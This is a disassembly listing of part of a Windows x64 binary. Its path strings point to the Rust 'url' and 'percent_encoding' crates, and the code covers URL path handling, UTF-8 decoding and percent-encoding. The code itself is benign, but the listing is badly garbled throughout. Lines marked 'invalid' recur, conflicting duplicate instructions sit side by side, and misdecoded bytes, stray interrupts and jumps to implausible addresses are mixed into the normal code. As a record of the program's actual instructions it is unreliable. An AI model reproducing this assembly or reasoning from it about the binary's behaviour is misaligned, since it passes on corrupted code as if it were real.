xor r8d, r8d
mov r9, r15
call fcn.140104b90
mov rax, qword [rdi + 0x40]
mov qword [rsp + 0xc0], rax
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movups xmm2, xmmword [rdi + 0x20]
movups xmm3, xmmword [rdi + 0x30]
movaps xmmword [rsp + 0xb0], xmm3
movaps xmmword [rsp + 0xa0], xmm2
movaps xmmword [rsp + 0x90], xmm1
movaps xmmword [rsp + 0x80], xmm0
mov qword [rsp + 0x20], r14
lea rdx, [rsp + 0x80]
mov rcx, r15
mov r8, rbx
mov r9, rsi
call fcn.1400fe1f0
jmp 0x1400fe131
cmp dword [rbx + 0x18], 0
mov byte [rsp + 0x77], r11b
je 0x1400fd97b
lea rax, [rbx + 0x1c]
mov r9d, dword [rax]
mov rdx, qword [rbx + 8]
test r9, r9
je 0x1400fd999
mov r12, qword [rbx + 0x10]
cmp r12, r9
jbe 0x1400fdb45
cmp byte [rdx + r9], 0xbf
jle 0x1400fdb4b
mov r12, r9
jmp 0x1400fe041
mov r12, r15
mov rdx, qword [rbx + 8]
mov r14, qword [rbx + 0x10]
mov rax, qword [rdi]
mov r15, qword [rdi + 0x10]
sub rax, r15
cmp rax, r14
jae 0x1400fdad0
mov rcx, rdi
mov rsi, rdx
mov rdx, r15
mov r8, r14
call fcn.140104c70
mov rdx, rsi
mov r15, qword [rdi + 0x10]
jmp 0x1400fdad0
cmp dword [rbx + 0x20], 0
je 0x1400fdcb4
lea rax, [rbx + 0x24]
mov r12d, dword [rax]
mov r13, qword [rbx + 8]
mov rdx, qword [rbx + 0x10]
test r12, r12
mov qword [rsp + 0x78], rdx
je 0x1400fd9a5
cmp rdx, r12
jbe 0x1400fdb37
cmp byte [r13 + r12], 0xbf
jg 0x1400fdcc1
jmp 0x1400fe1c6
cmp dword [rbx + 0x20], 0
je 0x1400fe039
lea rax, [rbx + 0x24]
mov r9d, dword [rax]
mov rdx, qword [rbx + 8]
test r9, r9
jne 0x1400fd8e3
mov r13, qword [rdi + 0x10]
xor r12d, r12d
jmp 0x1400fe054
mov rbp, qword [rdi + 0x10]
xor r12d, r12d
jmp 0x1400fdcd4
jne 0x1400fd848
mov rsi, qword [rdi]
mov r12, qword [rdi + 0x10]
mov rax, rsi
sub rax, r12
cmp rax, r15
jb 0x1400fe16c
mov rbp, qword [rdi + 8]
lea rcx, [r12 + rbp]
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
add r12, r15
mov qword [rdi + 0x10], r12
cmp r12, rsi
jne 0x1400fd9f9
mov rcx, rdi
call fcn.1400cf3b0
mov rbp, qword [rdi + 8]
mov r12, qword [rdi + 0x10]
mov byte [rbp + r12], 0x2f
inc r12
mov qword [rdi + 0x10], r12
mov byte [rsp + 0x80], 1
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r13
lea r8, [rsp + 0x80]
mov rcx, rdi
movzx ebp, byte [rsp + 0x77]
mov edx, ebp
mov r9, r15
call fcn.1400fa5b0
mov rcx, qword [rdi + 0x40]
mov qword [rsp + 0xc0], rcx
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movups xmm2, xmmword [rdi + 0x20]
movups xmm3, xmmword [rdi + 0x30]
movaps xmmword [rsp + 0xb0], xmm3
movaps xmmword [rsp + 0xa0], xmm2
movaps xmmword [rsp + 0x90], xmm1
movaps xmmword [rsp + 0x80], xmm0
mov r9d, dword [rbx + 0x2c]
mov ecx, dword [rbx + 0x30]
mov r8d, dword [rbx + 0x34]
mov r10d, dword [rbx + 0x38]
lea r11, [rbx + 0x40]
movzx esi, word [rbx + 0x28]
movzx edi, word [rbx + 0x2a]
mov qword [rsp + 0x60], rdx
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x50], r15d
mov word [rsp + 0x48], di
mov word [rsp + 0x40], si
mov qword [rsp + 0x38], r11
mov dword [rsp + 0x30], r10d
mov dword [rsp + 0x28], r8d
mov dword [rsp + 0x20], ecx
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x78]
jmp 0x1400fe02c
mov r12, r15
mov r15, qword [rdi + 0x10]
xor r14d, r14d
mov rcx, qword [rdi + 8]
add rcx, r15
stc
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
add r15, r14
mov qword [rdi + 0x10], r15
mov dword [rdi + 0x10], edi
mov eax, dword [rbx + 0x3c]
movups xmm0, xmmword [rdi]
movups xmmword [r12], xmm0
mov qword [r12 + 0x10], r15
mov rcx, qword [rbx + 0x18]
mov qword [r12 + 0x18], rcx
mov dword [r12 + 0x20], 0
add byte [rbx - 0x76bed7b5], cl
and al, 0x28
movups xmm0, xmmword [rbx + 0x2c]
movups xmmword [r12 + 0x2c], xmm0
mov dword [r12 + 0x3c], eax
movzx eax, byte [rbx + 0x50]
mov byte [r12 + 0x50], al
movups xmm0, xmmword [rbx + 0x40]
movups xmmword [r12 + 0x40], xmm0
jmp 0x1400fe131
jne 0x1400fe1c6
mov r12, rdx
jmp 0x1400fdcc1
je 0x1400fe041
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
mov qword [rsp + 0x20], rax
mov rcx, rdx
mov rdx, r12
xor r8d, r8d
call fcn.140104b90
jne 0x1400fd7c2
mov rax, qword [rdi]
mov rbx, qword [rdi + 0x10]
sub rax, rbx
cmp rax, r13
jb 0x1400fe145
mov rcx, qword [rdi + 8]
add rcx, rbx
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
add rbx, r13
mov qword [rdi + 0x10], rbx
mov qword [rsp + 0x80], rsi
mov qword [rsp + 0x88], r14
lea rcx, [0x14016f048]
lea r8, [rsp + 0x80]
mov edx, 2
call fcn.1400f88e0
test al, al
je 0x1400fdc2e
mov r8, qword [rsp + 0x80]
mov r9, qword [rsp + 0x88]
mov rax, qword [rdi + 0x40]
mov qword [rsp + 0xc0], rax
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movups xmm2, xmmword [rdi + 0x20]
movups xmm3, xmmword [rdi + 0x30]
movaps xmmword [rsp + 0xb0], xmm3
movaps xmmword [rsp + 0xa0], xmm2
movaps xmmword [rsp + 0x90], xmm1
movaps xmmword [rsp + 0x80], xmm0
mov dword [rsp + 0x28], ebp
movzx eax, byte [rsp + 0x77]
mov byte [rsp + 0x20], al
lea rdx, [rsp + 0x80]
mov rcx, r15
call fcn.1400f8a90
jmp 0x1400fe131
mov rax, qword [rdi + 0x40]
mov qword [rsp + 0xc0], rax
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movups xmm2, xmmword [rdi + 0x20]
movups xmm3, xmmword [rdi + 0x30]
movaps xmmword [rsp + 0xb0], xmm3
movaps xmmword [rsp + 0xa0], xmm2
movaps xmmword [rsp + 0x90], xmm1
movaps xmmword [rsp + 0x80], xmm0
mov dword [rsp + 0x28], ebp
movzx eax, byte [rsp + 0x77]
mov byte [rsp + 0x20], al
lea rdx, [rsp + 0x80]
mov rcx, r15
mov r8, r12
mov r9, r14
call fcn.1400f8a90
jmp 0x1400fe131
je 0x1400fd812
lea rcx, [0x14016f098]
mov qword [rsp + 0x20], rcx
mov rcx, rdx
mov rdx, rax
xor r8d, r8d
mov r9, r14
call fcn.140104b90
mov r13, qword [rbx + 8]
mov r12, qword [rbx + 0x10]
mov qword [rsp + 0x78], r12
mov rax, qword [rdi]
mov rbp, qword [rdi + 0x10]
sub rax, rbp
call 0x14ff0161b
invalid
invalid
add al, 0
invalid
call 0x14ff0161b
invalid
mov rcx, qword [rdi + 8]
add rcx, rbp
mov rdx, r13
mov r8, r12
call sub.VCRUNTIME140.dll_memcpy
or byte [rax + 1], cl
jmp 0x18dfa662b
add byte [rcx + rax - 0x1b], cl
add rbp, r12
mov qword [rdi + 0x10], rbp
mov r12d, dword [rbx + 0x3c]
mov rcx, rdi
stc
movzx edx, byte [rsp + 0x77]
mov r8, r12
mov eax, esp
mov eax, esp
loopne 0x1400fdce5
call fcn.1400ff1d0
mov rax, rsi
cmp qword [rdi + 0x10], r12
adc byte [rdi], cl
test dword [rax + 1], esi
add byte [rax], al
iretd
adc byte [rdi], cl
test dword [rax + 1], esi
add byte [rax], al
mov r9d, dword [rbx + 0x2c]
test r9, r9
test ecx, ecx
test ecx, ecx
mov rdx, qword [rsp + 0x78]
mov edx, dword [rsp + 0x78]
push rsp
and al, 0x78
je 0x1400fdd42
cmp rdx, r9
jbe 0x1400fdd40
jl case.0x1400dc111.482
add byte [rdi - 0x72b7e681], bh
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
add eax, 0x71260
add byte [rax - 0x77], cl
mov qword [rsp + 0x20], rax
and al, 0x20
mov rcx, r13
xor r8d, r8d
call fcn.140104b90
add byte [rbp - 0x19], dh
add byte [rbp - 0x19], dh
mov rcx, r13
mov ecx, ebp
mov rdx, r9
call fcn.1400fe4a0
cmp al, 2
add cl, byte [rdi]
test edi, ebp
add byte [rax], al
invalid
retf 0x53e8
mov r8d, edx
cmp r8d, 0x110000
cmp eax, 0x110000
cmp eax, 0x110000
add byte [rcx], dl
add byte [rdi], cl
test ebp, edx
add byte [rax], al
add byte [rcx + rdi - 0xf], cl
jne 0x1400fde44
cmp rcx, r14
je 0x1400fde67
test bh, ch
add byte [rax], al
add byte [rdi + rcx - 0x4a], al
movzx r10d, byte [rcx]
movzx edx, r10b
invalid
adc dword [rcx + 0xf], eax
mov dh, 0xd2
invalid
test dl, dl
js 0x1400fdda0
inc rcx
cmp edx, 0xd
jbe 0x1400fde30
nop dword cs:[rax + rax]
mov r8d, edx
and r8d, 0x1f
movzx r11d, byte [rcx + 1]
and r11d, 0x3f
jrcxz 0x1400fddef
cmp dl, 0xdf
jbe 0x1400fddfa
jrcxz 0x1400fddef
invalid
shl ebx, 6
and r9d, 0x3f
or r9d, r11d
cmp r10b, 0xf0
jb 0x1400fde12
or edx, ecx
or edx, r8d
cmp edx, 0x110000
je 0x1400fde67
invalid
mov rax, r12
cmp qword [rdi], r12
jne 0x1400fde58
mov rcx, rdi
call fcn.1400cf3b0
mov rax, qword [rdi + 0x10]
mov rcx, qword [rdi + 8]
mov byte [rcx + rax], 0x2f
inc rax
mov qword [rdi + 0x10], rax
mov rax, rsi
jmp case.0x1400dcba7.399
mov edx, ecx
cmp edx, 0x110000
jne 0x1400fdf5a
cmp rax, r14
je 0x1400fdf73
movzx r9d, byte [rax]
movzx ecx, r9b
test cl, cl
js 0x1400fdeb0
add byte [rcx + 0x1fe283ca], cl
movzx r10d, byte [rax + 1]
movzx edx, byte [rax + 1]
and r10d, 0x3f
cmp cl, 0xdf
jbe 0x1400fdf05
movzx r8d, byte [rax + 2]
shl r10d, 6
add al, byte [rcx - 0x3f]
loop 0x1400fded2
and r8d, 0x3f
or r8d, r10d
cmp r9b, 0xf0
jb 0x1400fdf1b
rol byte [rcx - 0x80], 1
stc
invalid
invalid
adc dword [rax], eax
je 0x1400fdf73
add rax, 4
cmp ecx, 0xd
jbe 0x1400fdf40
invalid
jmp 0x1400fde70
add rax, 2
shl edx, 6
or edx, r10d
mov ecx, edx
cmp ecx, 0xd
jbe 0x1400fdf40
push rbp
invalid
invalid
mov edx, 0x110000
mov r8d, 0x2600
bt r8d, ecx
jb 0x1400fde72
jmp 0x1400fde70
cmp edx, 0x2f
jne 0x1400fdf73
mov byte [rsp + 0x80], 1
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rax
jmp 0x1400fdf85
mov byte [rsp + 0x80], 1
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rsi
lea r8, [rsp + 0x80]
mov rcx, rdi
movzx ebp, byte [rsp + 0x77]
mov edx, ebp
invalid
mov r9, r12
call fcn.1400fa5b0
mov rcx, qword [rdi + 0x40]
mov qword [rsp + 0xc0], rcx
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movups xmm2, xmmword [rdi + 0x20]
movups xmm3, xmmword [rdi + 0x30]
movaps xmmword [rsp + 0xb0], xmm3
movaps xmmword [rsp + 0xa0], xmm2
movaps xmmword [rsp + 0x90], xmm1
movaps xmmword [rsp + 0x80], xmm0
mov r9d, dword [rbx + 0x2c]
mov ecx, dword [rbx + 0x30]
mov r8d, dword [rbx + 0x34]
mov r10d, dword [rbx + 0x38]
lea r11, [rbx + 0x40]
movzx esi, word [rbx + 0x28]
movzx edi, word [rbx + 0x2a]
mov qword [rsp + 0x60], rdx
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x50], r12d
mov word [rsp + 0x48], di
mov word [rsp + 0x40], si
mov qword [rsp + 0x38], r11
mov dword [rsp + 0x30], r10d
mov dword [rsp + 0x28], r8d
mov dword [rsp + 0x20], ecx
lea rdx, [rsp + 0x80]
mov rcx, r15
mov r8d, ebp
call fcn.1400fb7b0
jmp 0x1400fe131
mov rdx, qword [rbx + 8]
mov r12, qword [rbx + 0x10]
mov rax, qword [rdi]
mov r13, qword [rdi + 0x10]
sub rax, r13
cmp rax, r12
jb 0x1400fe1a3
mov rcx, qword [rdi + 8]
add rcx, r13
mov r8, r12
call sub.VCRUNTIME140.dll_memcpy
add r13, r12
mov qword [rdi + 0x10], r13
mov ebp, dword [rbx + 0x2c]
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rsi
lea rcx, [rsp + 0x80]
mov rdx, rdi
movzx r8d, byte [rsp + 0x77]
mov r9d, ebp
call fcn.1400feb70
mov eax, dword [rsp + 0x80]
cmp eax, 2
jne 0x1400fe0e2
movzx eax, byte [rsp + 0x84]
mov byte [r15 + 8], al
movabs rax, 0x8000000000000000
mov qword [r15], rax
cmp qword [rdi], 0
je 0x1400fe131
mov ecx, dword [rsp + 0x8c]
mov rdx, qword [rsp + 0x84]
mov r8, qword [rdi + 0x10]
mov qword [r15 + 0x10], r8
movups xmm0, xmmword [rdi]
movups xmmword [r15], xmm0
mov dword [r15 + 0x18], eax
mov qword [r15 + 0x1c], rdx
mov dword [r15 + 0x24], ecx
mov eax, dword [rbx + 0x28]
mov dword [r15 + 0x28], eax
mov dword [r15 + 0x2c], ebp
movups xmm0, xmmword [rbx + 0x30]
movups xmmword [r15 + 0x30], xmm0
movups xmm0, xmmword [rbx + 0x40]
movups xmmword [r15 + 0x40], xmm0
movzx eax, byte [rbx + 0x50]
mov byte [r15 + 0x50], al
add rsp, 0xd8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, rdi
mov qword [rsp + 0x78], r15
mov r15, rdx
mov rdx, rbx
mov r8, r13
call fcn.140104c70
mov rdx, r15
mov r15, qword [rsp + 0x78]
mov rbx, qword [rdi + 0x10]
jmp 0x1400fdb7e
mov rcx, rdi
mov rsi, rdx
mov rdx, r12
mov r8, r15
call fcn.140104c70
mov rdx, rsi
mov rsi, qword [rdi]
mov r12, qword [rdi + 0x10]
jmp 0x1400fd9cd
mov rcx, rdi
mov rdx, rbp
mov r8, r12
call fcn.140104c70
mov rbp, qword [rdi + 0x10]
jmp 0x1400fdcd4
mov rcx, rdi
mov rbp, r15
mov r15, rdx
mov rdx, r13
mov r8, r12
call fcn.140104c70
mov rdx, r15
mov r15, rbp
mov r13, qword [rdi + 0x10]
jmp 0x1400fe054
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
mov qword [rsp + 0x20], rax
mov rcx, r13
xor r8d, r8d
xor eax, eax
xor eax, eax
mov r9, r12
call fcn.140104b90
int3
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x38
mov r15, r9
mov rbx, rdx
mov rsi, rcx
mov r12, qword [rsp + 0xa0]
add byte [rax], al
add byte [rcx - 0x7d], al
js 0x1400fe235
add byte [rcx + rcx*4 + 0x44], cl
and al, 0x30
je 0x1400fe243
test ecx, ecx
je 0x1400fe24d
cmp rax, r8
jb 0x1400fe43d
mov edx, ecx
cmp edx, 0x110000
jne 0x1400fe386
nop dword [rax]
mov edx, ecx
and edx, 0x1f
movzx r10d, byte [r15 + 1]
and r10d, 0x3f
cmp cl, 0xdf
jbe case.0x1400dcba7.403
movzx r8d, byte [r15 + 2]
shl r10d, 6
and r8d, 0x3f
or r8d, r10d
cmp r9b, 0xf0
jb 0x1400fe36c
movzx ecx, byte [r15 + 3]
add r15, 4
and edx, 7
shl edx, 0x12
shl r8d, 6
add ecx, dword [rcx - 0x7d]
mov dword [rbx + rax*4], 0xe2c107e2
adc al, byte [rcx - 0x3f]
loopne 0x1400fe332
and ecx, 0x3f
or ecx, r8d
or ecx, edx
cmp ecx, 0x110000
add byte [rbp + 0x14], dh
add byte [rbp + 0x14], dh
jmp 0x1400fe386
add r15, 2
shl edx, 6
or edx, r10d
mov ecx, edx
nop word [rax + rax]
cmp ecx, 0xd
ja 0x1400fe2c0
invalid
invalid
invalid
invalid
mov edx, 0x110000
bt eax, ecx
jb 0x1400fe2c2
add r15, 3
add edi, 3
shl edx, 0xc
or r8d, edx
mov ecx, r8d
cmp ecx, 0xd
jbe 0x1400fe359
adc byte [r11 + r9*4 + 0x4c], cl
and al, 0x30
mov edx, dword [r9 + 0x3c]
mov qword [rsi], rax
mov qword [rsi + 8], r8
mov dword [rsi + 8], eax
mov dword [rsi + 8], eax
mov qword [rsi + 0x10], rcx
mov rax, qword [r9 + 0x18]
mov qword [rsi + 0x18], rax
sbb dil, r8b
and byte [rcx], r8b
add byte [rax], al
add byte [rcx + rcx*4 + 0x76], al
and al, 0x41
mov eax, dword [rcx + 0x28]
mov dword [rsi + 0x28], eax
movups xmm0, xmmword [r9 + 0x2c]
movups xmmword [rsi + 0x2c], xmm0
mov dword [rsi + 0x3c], edx
movups xmm0, xmmword [r9 + 0x40]
movups xmmword [rsi + 0x40], xmm0
movzx eax, byte [r9 + 0x50]
mov byte [rsi + 0x50], al
jmp 0x1400fe42b
nop
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea eax, [0x14016ef90]
mov qword [rsp + 0x20], rax
mov rcx, rdx
mov rdx, r14
xor r8d, r8d
call fcn.140104b90
int3
je 0x1400fe563
jo 0x1400fe524
add dword [rdi], ecx
mov dh, 0x49
add al, 0x83
int1
jae case.0x1400fe4b8.3
ror dword [rdi], 0x94
sal dword [rax - 0x3c37d7fe], 0xf
movzx eax, word [rcx]
movzx eax, word [rcx]
xor eax, 0x7377
movzx edx, byte [rcx + 2]
xor edx, 0x73
or dx, ax
je 0x1400fe531
movzx eax, word [rcx]
xor eax, 0x7466
movzx ecx, byte [rcx + 2]
xor ecx, 0x70
or cx, ax
int1
jo 0x1400fe58d
or ecx, eax
sete cl
mov al, 2
sub al, cl
ret
mov al, 1
ret
invalid
mov rax, qword [rsp + 0x30]
mov rdx, rax
cmp rax, rbp
je 0x1400fe7e4
movzx ecx, byte [rdx]
movzx r8d, cl
test r8b, r8b
js 0x1400fe5a0
lea r10, [rdx + 1]
cmp r8d, 0xd
jbe 0x1400fe620
jmp 0x1400fe640
mov eax, r8d
and eax, 0x1f
movzx r9d, byte [rdx + 1]
and r9d, 0x3f
cmp r8b, 0xdf
jbe 0x1400fe5ef
movzx r8d, byte [rdx + 2]
shl r9d, 6
and r8d, 0x3f
or r8d, r9d
cmp cl, 0xf0
jb 0x1400fe604
lea r10, [rdx + 4]
movzx ecx, byte [rdx + 3]
and eax, 7
shl eax, 0x12
shl r8d, 6
and ecx, 0x3f
or ecx, r8d
or ecx, eax
mov r8d, ecx
cmp r8d, 0xd
jbe 0x1400fe620
jmp 0x1400fe640
lea r10, [rdx + 2]
shl eax, 6
or eax, r9d
mov r8d, eax
cmp r8d, 0xd
jbe 0x1400fe620
jmp 0x1400fe640
lea r10, [rdx + 3]
shl eax, 0xc
or r8d, eax
cmp r8d, 0xd
ja 0x1400fe640
nop word cs:[rax + rax]
mov eax, 0x2600
bt eax, r8d
jae 0x1400fe640
mov rdx, r10
cmp r10, rbp
jne 0x1400fe581
jmp 0x1400fe7e4
mov qword [rsp + 0x30], r10
cmp r8d, 0x110000
je 0x1400fe7e4
mov r14d, 1
cmp r8d, 0x80
jb 0x1400fe681
mov r14d, 2
cmp r8d, 0x800
jb 0x1400fe681
cmp r8d, 0x10000
mov r14d, 4
sbb r14, 0
mov rax, rbp
sub rax, rdx
cmp r14, rax
jae 0x1400fe698
cmp byte [rdx + r14], 0xbf
jg 0x1400fe69e
jmp 0x1400fe82f
jne 0x1400fe82f
test r8d, r8d
je 0x1400fe6cf
cmp r8d, 0x110000
je 0x1400fe7e4
mov rcx, qword [rdi + 0x30]
mov rax, qword [rdi + 0x38]
mov qword [rsp + 0x20], rbp
mov rsi, rdx
mov rdx, rax
mov r9, qword [rsp + 0x30]
call fcn.1400fe850
jmp 0x1400fe6e4
mov rcx, qword [rdi + 0x30]
test rcx, rcx
je 0x1400fe73b
mov rax, qword [rdi + 0x38]
mov rsi, rdx
mov dl, 7
call qword [rax + 0x28]
mov rdx, rsi
jmp 0x1400fe73b
inc rdx
dec r14
mov r13, rdx
lea rax, [rax + rax*2]
add rax, rbx
mov rsi, r14
mov r14d, 3
mov rdx, rax
mov rax, qword [rdi]
mov r15, qword [rdi + 0x10]
sub rax, r15
cmp rax, r14
jb 0x1400fe7ba
mov rcx, qword [rdi + 8]
add rcx, r15
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
add r15, r14
mov qword [rdi + 0x10], r15
mov r14, rsi
mov rdx, r13
test r14, r14
je 0x1400fe570
movzx eax, byte [rdx]
movzx eax, al
test al, al
js 0x1400fe6f0
mov ecx, eax
shr ecx, 5
mov ecx, dword [r12 + rcx*4]
bt ecx, eax
jb 0x1400fe6f0
mov ecx, 1
nop word cs:[rax + rax]
cmp r14, rcx
je 0x1400fe7ac
mov rax, rcx
movzx ecx, byte [rdx + rcx]
test cl, cl
js 0x1400fe798
movzx r8d, cl
mov ecx, r8d
shr ecx, 5
mov r9d, dword [r12 + rcx*4]
lea rcx, [rax + 1]
bt r9d, r8d
jae 0x1400fe770
sub r14, rax
jb 0x1400fe7f5
lea r13, [rdx + rax]
mov rsi, r14
mov r14, rax
jmp 0x1400fe70c
xor esi, esi
lea r13, [0x14016f768]
jmp 0x1400fe70c
mov rcx, rdi
mov rbx, rbp
mov rbp, rdx
mov rdx, r15
mov r8, r14
call fcn.140104c70
mov rdx, rbp
mov rbp, rbx
lea rbx, [0x140138f8c]
mov r15, qword [rdi + 0x10]
jmp 0x1400fe71f
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rax, str.mid___len
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 1
lea rax, [0x14016f768]
mov qword [rsp + 0x48], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fpercent_encoding_2.3.1_srclib.rs_00_01_02_03_04_05_06_07_08_09_0A_0B_0C_0D_0E_0F_10_11_12_13_14_15_16_17_18_19_1A_1B_1C_1D_1E_1F_20_21_22_23_24_25_26_27_28_29_2A_2B_2C_2D_2E_2F_30_31_32_33_34_35_36_37_38_39_3A_3B_3C_3D_3E_3F_40_41_42_43_44_45_46_47_48_49_4A_4B_4C_4D_4E_4F_50_51_52_53_54_55_56_57_58_59_5A_5B_5C_5D_5E_5F_60_61_62_63_64_65_66_67_68_69_6A_6B_6C_6D_6E_6F_70_71_72_73_74_75_76_77_78_79_7A_7B_7C_7D_7E_7F_80_81_82_83_84_85_86_87_88_89_8A_8B_8C_8D_8E_8F_90_91_92_93_94_95_96_97_98_99_9A_9B_9C_9D_9E_9F_A0_A1_A2_A3_A4_A5_A6_A7_A8_A9_AA_AB_AC_AD_AE_AF_B0_B1_B2_B3_B4_B5_B6_B7_B8_B9_BA_BB_BC_BD_BE_BF_C0_C1_C2_C3_C4_C5_C6_C7_C8_C9_CA_CB_CC_CD_CE_CF_D0_D1_D2_D3_D4_D5_D6_D7_D8_D9_DA_DB_DC_DD_DE_DF_E0_E1_E2_E3_E4_E5_E6_E7_E8_E9_EA_EB_EC_ED_EE_EF_F0_F1_F2_F3_F4_F5_F6_F7_F8_F9_FA_FB_FC_FD_FE_FF
lea rcx, [rsp + 0x38]
call fcn.140104620
lea rcx, [0x14016f018]
mov qword [rsp + 0x20], rcx
mov rcx, rdx
mov rdx, rax
xor r8d, r8d
mov r9, r14
call fcn.140104b90
int3
jb 0x1400ff2ca
pop rbp
pop rdi
pop rsi
pop r14
pop rsi
pop rsi
ret
and al, 0x20
mov rcx, rbx
mov rdx, rsi
mov r8, r14
mov r9, rsi
call fcn.140104b90
invalid
lea rcx, str.assertion_failed:_self.is_char_boundary_new_len_O
lea r8, [0x14016ed18]
add eax, 0x6fa0c
add byte [rdx + 0x30], bh
mov edx, 0x30
call fcn.1401046f0
int3
sub al, ch
invalid
add byte [rax], al
int3
adc dh, al
and al, 0x28
sub byte [rax], al
mov byte [rsp + 0x20], 1
lea rdx, [0x14016e9c0]
sub byte [rax], al
mov byte [rsp + 0x20], 1
lea rdx, [0x14016e9c0]
lea rcx, [rsp + 0x38]
xor r8d, r8d
call fcn.1400e2eb0
cmp edi, esi
dec esp
cmp edi, esi
dec esp
int3
je 0x1400ff3b5
add eax, 0x7df30
mov edx, 0x10
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400ff3a6
mov qword [rax], rsi
mov qword [rax + 8], rdi
or byte [rax - 0x73], cl
adc eax, 0x6f9f1
int1
stc
invalid
invalid
xor byte [rax - 0x77], cl
js 0x1400ff3a0
invalid
or byte [rax - 0x73], cl
adc eax, 0x6f9f1
int1
stc
invalid
invalid
add rsp, 0x28
pop rdi
pop rsi
ret
mov ecx, 8
mov edx, 0x10
add al, ch
retf
add byte [r8], r8b
add byte [rax], al
add al, ch
retf
add byte [rax], al
mov ecx, 7
int 0x29
ud2
add byte [rbx + rcx + 0x48], dh
mov eax, ecx
lea rdx, [0x14016ed90]
ret
add bl, al
mov ecx, 7
int 0x29
sub dword [rdi], ecx
invalid
sub dword [rdi], ecx
or ecx, esp
int3
int3
nop dword [rax + rax]
mov r8d, r9d
cmp r8d, 0x110000
jne 0x1400ff4c5
test ebp, eax
add byte [rax], al
invalid
test ebp, eax
add byte [rax], al
add byte [rcx - 0x48], al
add byte [rax], al
adc dword [rax], eax
mov r8d, 0x110000
cmp rcx, rdx
cmp ecx, edx
je 0x1400ff4c2
movzx ebx, byte [rcx]
mov dh, 0x19
movzx r9d, bl
test r9b, r9b
test cl, cl
test cl, cl
js 0x1400ff430
inc rcx
cmp r9d, 0xd
jbe 0x1400ff49a
invalid
jbe 0x1400ff410
jmp 0x1400ff3f0
retf 0x2e66
add byte [rax], al
add byte [rax], al
add byte [rbp - 0x77], al
retf 0x8341
invalid
invalid
mov r10d, r9d
and r10d, 0x1f
movzx esi, byte [rcx + 1]
and esi, 0x3f
cmp r9b, 0xdf
cmp cl, 0xdf
cmp cl, 0xdf
jbe 0x1400ff482
movzx r11d, byte [rcx + 2]
shl esi, 6
pop rcx
add al, cl
out 6, al
and r11d, 0x3f
or r11d, esi
invalid
cmp bl, 0xf0
jb 0x1400ff4a9
invalid
movzx r9d, byte [rcx + 3]
add rcx, 4
rol dword [rcx + rax*2], 0x83
loop 0x1400ff46c
add rcx, qword [r8 - 0x7d]
rol dword [rcx + rax*2], 0x83
loop 0x1400ff46c
shl r10d, 0x12
shl r11d, 6
jrcxz 0x1400ff473
jrcxz 0x1400ff473
invalid
and r9d, 0x3f
loope 0x1400ff4b0
invalid
or r9d, r11d
fld dword [rbp + 9]
rol dword [rcx - 0x7f], 1
cmp r9d, 0x110000
or r9d, r10d
or ecx, edx
cmp r9d, 0x110000
add byte [rcx], dl
add byte [rbp + 0x10], dh
invalid
jne case.0x1400a5610.1503
adc bl, ch
add rcx, 2
jmp 0x1400ff4c5
add rcx, 2
shl r10d, 6
shl edx, 6
or r10d, esi
or edx, esi
mov r9d, r10d
cmp r9d, 0xd
or eax, 0xff56870f
invalid
ja 0x1400ff3f0
invalid
bt eax, r9d
bt eax, ecx
jb case.0x1400b5836.1431
invalid
jmp 0x1400ff3f0
invalid
add rcx, 3
shl r10d, 0xc
loop 0x1400ff4bd
loop 0x1400ff4bd
or al, 0x45
or ebx, edx
invalid
or r11d, r10d
rol dword [rbp - 0x77], cl
fld dword [rcx - 0x7d]
cmp r9d, 0xd
jbe 0x1400ff49a
invalid
invalid
mov r9d, r11d
cmp r9d, 0xd
jbe 0x1400ff49a
jmp 0x1400ff3f0
invalid
mov rcx, rdx
mov ecx, edx
mov eax, 0x2600
jmp 0x1400ff4e0
invalid
adc al, 0xf
invalid
add byte [rbp - 0x77], al
rol dword [rcx - 0x7f], 1
cmp r9d, 0x110000
mov r9d, r10d
cmp r9d, 0x110000
jne 0x1400ff5a5
add byte [rcx - 0x47], al
add byte [rax], al
adc dword [rax], eax
mov r9d, 0x110000
cmp rcx, rdx
cmp ecx, edx
je 0x1400ff5a2
mov bl, 0
add byte [rax], al
movzx ebx, byte [rcx]
movzx r10d, bl
test r10b, r10b
js 0x1400ff510
inc rcx
cmp r10d, 0xd
jbe 0x1400ff57a
jmp 0x1400ff4d0
nop dword cs:[rax + rax]
mov r11d, r10d
and r11d, 0x1f
movzx edi, byte [rcx + 1]
and edi, 0x3f
cmp r10b, 0xdf
cli
fbstp tbyte [rsi + 0x3a]
invalid
cmp cl, byte [rdi]
mov dh, 0x71
add al, cl
out 6, eax
and esi, 0x3f
or esi, edi
cmp bl, 0xf0
jb 0x1400ff589
and ebx, 7
